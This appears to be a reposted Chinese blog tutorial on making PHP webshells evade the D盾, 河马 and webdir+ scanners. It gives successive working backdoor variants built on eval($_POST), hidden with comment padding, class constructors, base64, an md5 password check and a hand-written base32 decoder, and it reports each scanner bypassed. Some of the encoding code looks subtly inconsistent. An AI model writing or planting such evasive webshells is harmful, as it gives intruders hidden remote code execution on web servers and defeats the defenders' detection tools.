利用注释及自定义加密免杀Webshell
0x00:簡介
此篇只討論php,其實原理是相同的,本文的思路依然適用于其他語言
由于php7.1以后assert不能拆分了,所以此篇不使用assert函數作為核心,使用適用性更廣的eval。
免殺順序依次為D盾 河馬 webdir+
0x01:探究免殺
免殺D盾
首先我們需要了解免殺的原理,免殺其實就是繞過殺軟的規則,而規則對我們來說是不透明的,但是可以根據fuzz探知個大概。
首先請出我們的一句話木馬:
<?php @eval($_POST('a'));?>無論如何混淆webshell,我們期望最終得到的邏輯依然是這條代碼,所以答案知道了,想辦法混淆就行了。
經過對D盾的探測,可以知道,它對函數的檢測其實是比較粗糙的,比如我們構造一個函數,讓其返回值拼接為
eval($_POST['a']) <?phpfunction x() {return $_POST['a'];}eval(x()); ?>D盾掃一下
被殺了,顯然D盾并沒有給出我們為什么這個會被殺,只說是已知后門,這里我們測試一下到底是什么東西被規則殺掉了。
首先,無論如何更改函數名,都會被殺掉,所以和函數名沒關系,然后就是eval內的參數了,測試后發現,只要拼接成eval($_POST['a'])就會被殺,因此我們避免語句直接拼接為這樣即可。
如何避免直接拼接呢 當然是往中間加料了 加一些既不會破壞語法又能起到隔離作用的東西,什么東西可以做到這樣呢?當然就是注釋了
比如這樣的:
<?phpfunction x() {return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";}eval(x()); ?>這里用兩段注釋在"eval("與"$_POST"之間起到了隔離的作用,因此繞過了直接拼接這個規則,D盾繼續殺一下
已經免殺成功,再看一下能否使用
既然如此,我們的核心繞過思路就是利用注釋了,為了去除特征,必不可少的就是隨機性了
?
使用函數返回值與eval拼接只是權宜之計,畢竟也是一條規則就能夠被干掉的。
所以我們這里使用類和構造函數來替代主動調用函數,
<?php class x {function __construct(){ @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");}} new x();?>改到這里,我不禁想 如果D盾發狠把".$_POST['a']."當獨立規則,那豈不是也歇菜,所以,我決定使用base64編碼將"$_POST['a']"轉化一下
<?php class x {public $payload = null;public $decode_payload = null;function __construct(){ $this->payload='ZXZhbCgkX1BPU1RbYV0pOw==';$this->decode_payload = @base64_decode( $this->payload );@eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");}} new x();?>到現在為止,模板確認
后面就是寫輪子了,至于輪子原理也很簡單,就是將可以修改特征的參數名使用隨機數填充,比如類名、public變量名、用于混淆的注釋字符等。
代碼如下:
?
免殺河馬
首先我們拿出之前的樣本:
<?php class YHUV{public $BSFRM = null;public $YVMQFW = null;function __construct(){$this->BSFRM='ZXZhbCgkX1BPU1RbYV0pOw==';$this->YVMQFW = @base64_decode( $this->BSFRM );@eval("/*rEgV_Cd*/".$this->YVMQFW."/*rEgV_Cd*/");}} new YHUV(); ?>直接拿去河馬查殺一下,
它很可能通過拼接得到了"eval($_POST[xxx]);",所以認定為木馬,那我加一層認證如何
這個我是真沒想到...
免殺webdir+
官方說它會拿沙盒跑
我們拿繞過河馬的馬跑一下,這里的檢測速度之所以比較慢就是因為它在跑沙盒,這種方式確實比傳統的查殺工具難搞很多,但是它并不完美。
由于eval依然無法動搖,所以我依舊從"$_POST['a']"下手,首先這串字符編碼后是過不去webdir+的,但是不編碼也過不去,我猜測可能是沙盒在模擬運行的時候拼接出了eval($_POST['a]),導致被殺,那我使用md5做密鑰它總跑不出來吧。修改代碼如下:
<?php class YHUV{public $BSFRM = null;public $YNMQFW = null;function __construct() {if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){$this->BSFRM=$_POST['a'];@eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");}}} new YHUV(); ?>還是被殺了,我反而很高興,那這也說明一個問題,你并沒有順利執行過我的馬,那說明我eval()里的東西一直都是安全的,那么不安全的肯定就是"$_POST['a']"了,這個怎么解決呢?
經過大量測試 我發現了一個事情 base64不行了
base64不行了怎么辦?我直接用base32,php沒有自帶的base32?那就自己寫
function base32_encode($input) {$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwexyz234567';$output = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen($input); $i < $j; $i++) {$v <<= 8;$v += ord($input[$i]);$vbits += 8;while ($vbits >= 5) {$vbits -= 5;$output .= $BASE32_ALPHABET[$v >> $vbits];$v &= ((1 << $vbits) - 1);}}if ($vbits > 0) {$v <<= (5 - $vbits);$output .= $BASE32_ALPHABET[$v];}return $output; }function base32_decode($input) {$output = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen($input); $i < $j; $i++) {$v <<= 5;if ($input[$i] >= 'a' && $input[$i] <= 'z') {$v += (ord($input[$i]) - 97);} elseif ($input[$i] >= '2' && $input[$i] <= '7') {$v += (24 + $input[$i]);} else {exit(1);}$vbits += 5;while ($vbits >= 8) {$vbits -= 8;$output .= chr($v >> $vbits);$v &= ((1 << $vbits) - 1);}}return $output; }shell如下,直接使用base32處理"eval($_POST[zero]);"
<?php class ZQIH{public $a = null;public $b = null;public $c = null;function __construct(){if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){$this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';$this->LGZOJH = @base32_decode($this->a);@eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");}}} new ZQIH();function base32_encode($input) {$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';$output = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen($input); $i < $j; $i++) {$v <<= 8;$v += ord($input[$i]);$vbits += 8;while ($vbits >= 5) {$vbits -= 5;$output .= $BASE32_ALPHABET[$v >> $vbits];$v &= ((1 << $vbits) - 1);}}if ($vbits > 0) {$v <<= (5 - $vbits);$output .= $BASE32_ALPHABET[$v];}return $output; }function base32_decode($input) {$output = '';$v = 0;$vbits = 0;for ($i = 0, $j = strlen($input); $i < $j; $i++) {$v <<= 5;if ($input[$i] >= 'a' && $input[$i] <= 'z') {$v += (ord($input[$i]) - 97);} elseif ($input[$i] >= '2' && $input[$i] <= '7') {$v += (24 + $input[$i]);} else {exit(1);}$vbits += 5;while ($vbits >= 8) {$vbits -= 8;$output .= chr($v >> $vbits);$v &= ((1 << $vbits) - 1);}}return $output; } ?>繼續查殺:
能否運行:
至此,我們似乎找到了盲點,以后直接自己寫加密完事了。可惜一句話木馬也被寫成一段話木馬了。。。不過在滲透測試過程中完全可以將其拆分為多個文件互相調用。
0x02:批量代碼
同樣為了減少特征
代碼如下
?
總結
以上是生活随笔為你收集整理的利用注释及自定义加密免杀Webshell的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 手把手教你做挖矿应急响应
- 下一篇: 记一次曲折的后台getshell过程